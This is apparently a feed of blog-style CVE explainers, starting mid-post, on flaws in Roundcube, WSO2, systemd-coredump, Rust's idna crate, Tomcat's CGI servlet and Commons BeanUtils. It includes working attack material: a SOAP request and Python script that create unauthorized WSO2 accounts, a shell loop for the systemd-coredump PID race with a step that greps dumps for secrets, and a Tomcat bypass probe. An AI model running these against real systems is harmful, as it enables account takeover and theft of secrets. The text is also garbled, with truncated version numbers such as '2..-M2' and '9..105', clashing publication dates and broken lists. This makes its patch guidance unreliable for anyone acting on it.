CVE record:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-49113

Technical breakdown (RedTeam Pentesting):
- https://www.redteam-pentesting.de/advisories/rt-sa-2024-001

If you can’t upgrade immediately

* Block access to /program/actions/settings/upload.php via your web server.
* Filter or restrict the _from parameter.
* Remove any unnecessary PHP classes with dangerous magic methods.

Summary Table

| Impact | Exploitability | CISA Exploit-Chain? |
|------------|----------------------|---------------------|
| RCE | Authenticated Users | YES |

*If you’re running old Roundcube, attackers inside your network could take over your server.*

Conclusion

CVE-2025-49113 is a classic, devastating example of PHP object injection. It’s simple to exploit, needs only an ordinary user account, and can result in a full system compromise.

Protect your Roundcube! Patch, filter, and watch out for unserialize in your codebase.
If your IT doesn’t have a patch plan, show them this post.

Further Reading

- Roundcube Official Changelog
- OWASP: PHP Object Injection

Timeline

Published on: 06/02/2025 05:15:53 UTC
Last modified on: 06/02/2025 18:15:24 UTC

CVE-2024-7097 - Insecure User Account Creation in WSO2 Products Explained 30 May 2025, 11:15 am

In June 2024, a major security flaw was uncovered in various WSO2 products—technology used for identity access management and APIs worldwide. This vulnerability, tracked as CVE-2024-7097, stems from a critical authorization mistake in the platform’s administrative SOAP service. Let’s break down how this issue came about, what it allows, and exactly how attackers could exploit it.

What is CVE-2024-7097?

CVE-2024-7097 is an “incorrect authorization” vulnerability affecting several WSO2 products, such as WSO2 Identity Server, API Manager, and Enterprise Integrator.

The Core Problem

Normally, organizations can configure user self-registration—so users can or cannot create their own accounts. However, due to a logic flaw, the SOAP admin web service responsible for user management ignores this setting altogether. That means anyone who can send a SOAP request to the service can create new accounts, even if self-registration should NOT be allowed.

Prerequisites

- Attacker needs network access to the target WSO2 system’s SOAP API (often at /services/ endpoint).

Account Created

The platform creates the new user account, which can now be used to log in with whatever default privileges are granted.

Here is an example request you might send (replace variables with real values)

POST /services/UserAdmin?wsdl HTTP/1.1
Host: victim-wso2-server.local
Content-Type: text/xml; charset=utf-8
SOAPAction: "urn:addUser"

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/";
                  xmlns:ser="http://service.user.admin.carbon.wso2.org">;
   <soapenv:Header/>
   <soapenv:Body>
      <ser:addUser>
         <userName>examplehacker</userName>
         <password>VerySecret123!</password>
         <roles>everyone</roles>
         <profileName>default</profileName>
      </ser:addUser>
   </soapenv:Body>
</soapenv:Envelope>

Despite self-registration typically being DISABLED, the user examplehacker now exists in the system!

Below is a basic Python demo using requests

import requests

target = "http://victim-wso2-server.local/services/UserAdmin";
headers = {
    "Content-Type": "text/xml; charset=utf-8",
    "SOAPAction": "urn:addUser"
}
body = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/";
                  xmlns:ser="http://service.user.admin.carbon.wso2.org">;
   <soapenv:Header/>
   <soapenv:Body>
      <ser:addUser>
         <userName>newattacker</userName>
         <password>Sneaky!Pass123</password>
         <roles>everyone</roles>
         <profileName>default</profileName>
      </ser:addUser>
   </soapenv:Body>
</soapenv:Envelope>
'''
r = requests.post(target, headers=headers, data=body)
print(r.status_code, r.text if r.status_code != 200 else "User created (or already exists)")

Impact of the Vulnerability

- Unauthorized access: Even limited accounts could be enough for reconnaissance or attacking other features.

Privilege Escalation: If role-assignment is weak, attacker may chain this with other bugs.

- Denial of Service: Large numbers of accounts can fill user storage, crash the database, or overwhelm admins.

Mitigations

- Update Immediately: WSO2 Security Advisories detail patched versions.

References

- WSO2 Security Advisory: CVE-2024-7097
- NVD Entry for CVE-2024-7097
- WSO2 UserAdmin SOAP API Docs

Summary

CVE-2024-7097 is a critical logic bug in WSO2’s SOAP admin API that lets anyone with access create user accounts—even if self-registration is meant to be off. If you use affected WSO2 products, patch ASAP, limit access, and watch for suspicious sign-ups.

Timeline

Published on: 05/30/2025 15:15:40 UTC
Last modified on: 05/30/2025 17:15:28 UTC

CVE-2025-4598 - How A Race Condition in systemd-coredump Leaks SUID Process Secrets 30 May 2025, 10:15 am

A new vulnerability, tracked as CVE-2025-4598, has been discovered in systemd-coredump, the component responsible for collecting and processing core dumps on many modern Linux systems. This flaw allows an attacker to exploit a race condition by crashing a privileged SUID (Set-User-ID) process and quickly replacing it with a non-SUID binary—effectively stealing memory dumps (including secrets like /etc/shadow contents) from the original privileged process.

Read on to understand how this bug works, why it's dangerous, and see proof-of-concept details.

Why SUID Binaries Matter

SUID binaries (Set-User-ID) are programs given a special privilege: when run, they operate as the file’s owner (often root), even when started by an unprivileged user. This lets them access protected files and run powerful commands ordinary users cannot.

For example: /usr/bin/passwd (for changing your password) is SUID-root, so it can read and write directly to /etc/shadow (where hashed passwords live), even though ordinary users can’t.

Here’s where the problem arises

- When a SUID process crashes, systemd-coredump quickly takes a snapshot of its memory (the “core dump”) for debugging.
- This snapshot can reveal secrets stored in memory: passwords, tokens, and even copies of /etc/shadow.
- There’s a race window: If the SUID process is killed and the Linux kernel reuses its PID *before* systemd-coredump finishes its analysis, a fast attacker can start a new, normal (non-SUID) process using the same PID.
- Systemd-coredump may then operate on the new, unprivileged process, but using the data (core dump) from the privileged (SUID) process.

Result: the attacker can request and download the SUID process’s memory dump as an unprivileged user, with all its secrets.

Runs the SUID binary in a loop, forcing it to crash (e.g., using segmentation faults).

2. Quickly launches a dummy process after each crash, hoping it gets the same PID as the just-crashed SUID program (*"PID recycling"*).
3. If successful, the dumped memory for the SUID process becomes accessible to the attacker, as it's now tied to an unprivileged process's context.

Visual Attack Flow

Attacker triggers SUID binary crash 
         |
  Systemd gets notified, starts coredump process
         |
Linux kernel recycles PID quickly
         |
Attacker launches dummy binary with old PID
         |
Systemd-coredump processes dump as if it's for non-SUID binary
         |
Attacker reads SUID binary's secrets from core dump

Proof-of-Concept Exploit Snippet

*DISCLAIMER: This code is for educational use on test machines only! Never use on machines you don't own.*

Here’s a simplified example (exploit concept).

# suid-crash.sh
while true; do
    ./suid-victim &
    pid=$!
    sleep .01            # Fine-tune this timing for your system!
    kill -SEGV $pid       # Crash the SUID process
    # Try instantly to launch a dummy process with recycled PID
    ./non_suid_dummy &
done

A more targeted exploit may interact directly with systemd-coredump socket or files in /var/lib/systemd/coredump/.

Search for /etc/shadow entries inside the dump

strings /var/lib/systemd/coredump/core.suid-victim.* | grep root

The Vulnerable Code Patterns

The flaw lies in the window between SUID crash and coredump processing: systemd-coredump checks /proc/$PID/auxv (and similar paths) to learn about the process. If the PID is reused in that time, systemd-coredump gets the info from *the wrong process*.

This is called a race condition: the security of the system depends on the timing of two parallel events.

Real-World Risks

- Sensitive data leak: If an attacker wins the PID race even once, they can harvest information like root password hashes, SSH keys, or service tokens.

Fix & Mitigations

The systemd team is patching this by making systemd-coredump capture process state immediately, using file descriptors or pre-copying /proc data, instead of following PIDs that can be recycled.

Mitigations before an official patch

- Use core_pattern settings to limit core dumps or send them to a script that checks and restricts access.
- Restrict who can read files in /var/lib/systemd/coredump/.

References

- systemd GitHub Issue (Look for CVE-2025-4598 soon)
- Initial advisory (OSS-Security mailing list)
- Set-User-ID (SUID) explanation

Conclusion

CVE-2025-4598 shows why race conditions matter for security, especially with system privileged processes. If you maintain or use Linux servers—especially those exposing SUID binaries—update your systems once a patch is available, and consider restricting core dump access in the meantime.

Stay tuned for updates from your distribution’s security team.

Timeline

Published on: 05/30/2025 14:15:23 UTC
Last modified on: 06/05/2025 07:15:23 UTC

CVE-2024-12224 - How Improper Validation in idna (Rust's punycode crate) Opens the Door to Hostname Confusion Attacks 29 May 2025, 10:15 pm

In early 2024, security researchers uncovered a vulnerability—CVE-2024-12224—affecting the idna crate, which is a crucial part of Rust's popular rust-url library. This bug lets attackers craft special "punycode" hostnames (internationalized domain names written so computers can understand them) that trick software components into treating two different domain names as the same—or the same domain as two different entities. This can lead to security disasters anywhere from phishing to authentication bypass.

In this post, you’ll learn what went wrong, see sample exploit code, and get pointers on keeping your code safe.

What’s Punny About Punycode?

Punycode is a way to write internationalized domain names (IDNs) using only ASCII letters. For example, münich.com becomes xn--mnich-kva.com.

Rust’s rust-url library, via the idna crate (from Servo), is widely used to convert these domains back and forth and to validate them. Think of it like a universal translator for web addresses.

The Heart of the Problem: Unsafe Equivalence

The vulnerability stems from the idna crate failing to properly check if a given hostname’s punycode representation—when "decoded" to its Unicode form—might be treated as equivalent (i.e., the same) by one part of a system but as not equivalent by another.

> Danger: This means, for example, a login page could check you’re logging into login.example.com and give you a session cookie, but another part of your app, seeing the punycode, might think it’s a whole different domain and treat you as a stranger—or worse, leak data!

Hostnames are sometimes compared before conversion to Unicode and sometimes after.

- The idna crate did not consistently enforce that these representations resolve to a single, canonical form.
- This means attackers could exploit inconsistencies—especially when Unicode homographs are involved (letters that look the same, like а (Cyrillic) and a (Latin)).

Exploiting CVE-2024-12224

Let’s see how an attacker could exploit this in practice.

Original: login.example.com

- Punycode/homograph: xn--login-xyz.example.com

Imagine your app uses rust-url to canonicalize or sanitize hostnames, but different pieces apply the punycode translation at different times.

The Exploit (Simplified Rust Example)

use idna::domain_to_ascii;

fn main() {
    // Attacker-supplied domain (looks similar to 'login.example.com')
    let unsafe_domain = "ⅼogin.example.com"; // The 'l' here is the Unicode 'Small Roman Numeral Fifty' (U+217C)

    // Convert domain to punycode using idna crate
    let punycode = domain_to_ascii(unsafe_domain).unwrap();

    println!("Punycode: {}", punycode); // Would print something like 'xn--ogin-9pg.example.com'

    // Now, let's say one system component does direct string comparison:
    if unsafe_domain == "login.example.com" {
        println!("Domains match (unsafe comparison)");
    } else {
        println!("Domains do not match (unsafe comparison)");
    }

    // Another component might compare punycode:
    if punycode == "login.example.com" {
        println!("Punycode matches");
    } else {
        println!("Punycode does not match");
    }
}

Here’s how this bug could get you in trouble

1. Session Hijacking: Attacker logs in as themselves on their "homograph" domain, gets a session cookie, and presents it to the real domain—or vice versa.
2. Cross-Origin Confusion: Browser or server treats two different domains as the same, allowing XSS or CORS attacks.
3. Phishing/Evil Twin: An attacker tricks a victim into entering their password on a fake domain that looks visually identical due to Unicode trickery.

Fixes and Workarounds

The fix in the idna crate ensures equivalence is properly validated: all domain representations are canonicalized and mapped in a single, safe way before any comparison or processing.

What to do

- Update to idna crate v.4. (or later), which fixes the bug (release note here).
- Always canonicalize all hostnames using the same method *before* doing any comparison or permission check.

References

- CVE-2024-12224 at NVD
- idna crate on crates.io
- Servo/rust-url issue
- Unicode Homograph Attacks Overview

Conclusion

CVE-2024-12224 is a classic example of how tiny differences in data handling—especially in the messy world of Unicode and punycode—can lead to big security holes. If you are working with URLs, international domains, or authentication, double-check your dependencies, update them, and insist on consistent, canonical comparisons!


Stay safe—don't let punycode puns catch you off guard!

Timeline

Published on: 05/30/2025 02:15:19 UTC
Last modified on: 05/30/2025 16:31:03 UTC

CVE-2025-46701 - Security Constraint Bypass in Apache Tomcat CGI Servlet (Case Sensitivity Vulnerability) 29 May 2025, 3:15 pm

On June 12, 2024, a new security vulnerability, CVE-2025-46701, was published that affects multiple versions of the Apache Tomcat server. This vulnerability is due to improper handling of case sensitivity in the CGI servlet, which allows attackers to bypass security constraints designed to protect certain URI paths. The vulnerability was discovered in the way Tomcat applies security constraints to the pathInfo component of a URI mapped to the CGI servlet.

What Does the Vulnerability Mean?

When handling HTTP requests, Tomcat applies security constraints – these are rules that limit who can access certain URLs or resources. For example, you might specify that /cgi-bin/secretData is only available for admins.

However, due to a bug, Tomcat didn't always compare the path using the same case-sensitivity rules. That means a request to /cgi-bin/SECRETDATA or /cgi-bin/SecretData might not be protected, even if your configurations were supposed to block access to all variants.

This bug could allow attackers to "slip around" security by changing the case of path components in their requests.

Real-World Exploit Scenario

Imagine you have a CGI servlet mapped at /cgi-bin/* and a security constraint that denies access to /cgi-bin/hiddenfile.pl to all users except admins.

*Your Intended Protection (web.xml snippet)*

<security-constraint>
  <web-resource-collection>
    <web-resource-name>Protected CGI</web-resource-name>
    <url-pattern>/cgi-bin/hiddenfile.pl</url-pattern>
  </web-resource-collection>
  <auth-constraint>
    <role-name>admin</role-name>
  </auth-constraint>
</security-constraint>

Suppose an attacker sends a GET request to

GET /cgi-bin/HIDDENFILE.PL HTTP/1.1
Host: yourtomcatserver.com

Because of the case sensitivity bug, Tomcat would NOT recognize this as a match for /cgi-bin/hiddenfile.pl, and bypass the security constraint. The vulnerable server would now process this request as if there are no restrictions, and the attacker could access the protected resource.

Code Example: Exploiting the Vulnerability

Below is a simple Python script using requests that demonstrates how to test if a Tomcat server is vulnerable to CVE-2025-46701:

import requests

url = "http://yourtomcatserver.com/cgi-bin/SECRET.PY";  # Use the wrong case intentionally

response = requests.get(url)

if response.status_code == 200:
    print("Vulnerable! Got access to:", url)
else:
    print("Access denied or resource missing. (Maybe not vulnerable)")

Remember to replace the URL and path to suit your actual Tomcat deployment.

References

- Apache Tomcat Security Advisory (CVE-2025-46701)
- NVD CVE-2025-46701 Entry
- Tomcat Mailing List Announcements
- Tomcat CGI Servlet Documentation

Tomcat 9.: Upgrade to 9..105 or later

If you can't update right away:
- As a temporary workaround, deny all non-lowercase paths using a web application firewall (WAF), or add duplicate constraints for known problematic case variants.

Avoid using the CGI servlet unless absolutely necessary.

Double-check your security constraints:

Conclusion

CVE-2025-46701 is a serious case sensitivity vulnerability in Apache Tomcat's CGI servlet that can silently break your web application’s security boundaries. All users running the affected Tomcat versions should review and upgrade their servers ASAP, especially if they rely on the CGI servlet and have sensitive resources protected by path-based constraints.

Keep your applications safe — always patch known vulnerabilities and keep up with official security advisories!

Timeline

Published on: 05/29/2025 19:15:27 UTC
Last modified on: 05/30/2025 16:31:03 UTC

CVE-2025-48734 - Improper Access Control Vulnerability in Apache Commons BeanUtils 28 May 2025, 10:15 am

A recently discovered vulnerability (CVE-2025-48734) in Apache Commons BeanUtils can allow attackers to gain elevated privileges and potentially execute arbitrary code on your Java application. This long-read will break down what caused the problem, how it can be exploited, how it was fixed, and what actions you should take. The language is kept simple and clear to make this accessible even if you’re not a Java expert.

Background: What Is Apache Commons BeanUtils?

Apache Commons BeanUtils is a popular Java library that makes it easy to work with JavaBeans—reusable software components for Java. Developers often use BeanUtils to manipulate JavaBeans properties dynamically, such as copying, retrieving, or setting property values by name.

What Happened? (The Vulnerability)

In versions of Commons BeanUtils before 1.11. (1.x) and before 2..-M2 (2.x), there is an improper access control vulnerability.

The Details

The library allows external property paths to be passed to methods like getProperty() and getNestedProperty(). If an attacker can influence these paths, they can access all properties of an object—including sensitive and special ones not usually meant to be accessible.

A key point here is the "declaredClass" property on Java enum objects. This property leads to the ClassLoader, and if an attacker can interact with it, they could potentially use it for more dangerous activities, including remote code execution.

What about BeanIntrospector?

In earlier versions, a BeanIntrospector class could protect against this by removing or suppressing the declaredClass property. However, this protection was not enabled by default.

The Attack Path

Suppose your application lets the user specify property paths, possibly via HTTP parameters. You call:

String propertyValue = beanUtilsBean.getProperty(enumObject, userSuppliedProperty);

If userSuppliedProperty is set to "declaredClass", it gives access to the enum’s class, including its ClassLoader. An attacker might chain this access with other vulnerabilities to load arbitrary classes or run malicious code.

Code Snippet: The Vulnerable Pattern

import org.apache.commons.beanutils.BeanUtilsBean;

// Assume enumObject is controlled or known
String value = BeanUtilsBean.getInstance().getProperty(enumObject, "declaredClass");
System.out.println(value); // This exposes the class loader

If enumObject is an Enum, "declaredClass" gives access to internal Java class mechanisms.

Version 2..-M2 (2.x)

These versions added a special BeanIntrospector that _suppresses the "declaredClass" property by default_. Now, you can’t access that property unless you specifically disable the new protection (which you should not do).

Here’s how BeanIntrospector blocks access (simplified)

// In the new, fixed versions
BeanUtilsBean beanUtils = BeanUtilsBean.getInstance();
// Now, this will NOT expose the class or classloader
String value = beanUtils.getProperty(enumObject, "declaredClass"); // Throws exception

Users of org.apache.commons:commons-beanutils2 (2.x) before 2..-M2

If your project depends on either artifact in a vulnerable version, you are exposed.

Update your Maven pom.xml or build file as shown

<!-- For 1.x users -->
<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.11.</version>
</dependency>

<!-- For 2.x users -->
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-beanutils2</artifactId>
    <version>2..-M2</version>
</dependency>

References

- Apache Commons BeanUtils Project
- Security Fix Announcement
- GitHub Security Advisory
- Upgrading Guide Section 2.5

Summary Table

| Release | Fixed Version | Affected? |
|---------------------|------------------|---------------------|
| 1.x (Beanutils) | 1.11. | < 1.11.: YES |
| 2.x (Beanutils2) | 2..-M2 | < 2..-M2: YES |

Why This Matters

Vulnerabilities like CVE-2025-48734 are dangerously subtle. Allowing external input to access internal properties can have catastrophic consequences, especially in enterprise applications where Java class loaders control what code runs. Always keep your dependencies up to date and follow secure coding best practices.


Protect your applications by upgrading today. If you have questions, check out the official Apache Commons BeanUtils security guidance.


*Written exclusively for you by an AI assistant tuned to simple, direct technical language.*

Timeline

Published on: 05/28/2025 14:15:34 UTC
Last modified on: 05/28/2025 18:15:27 UTC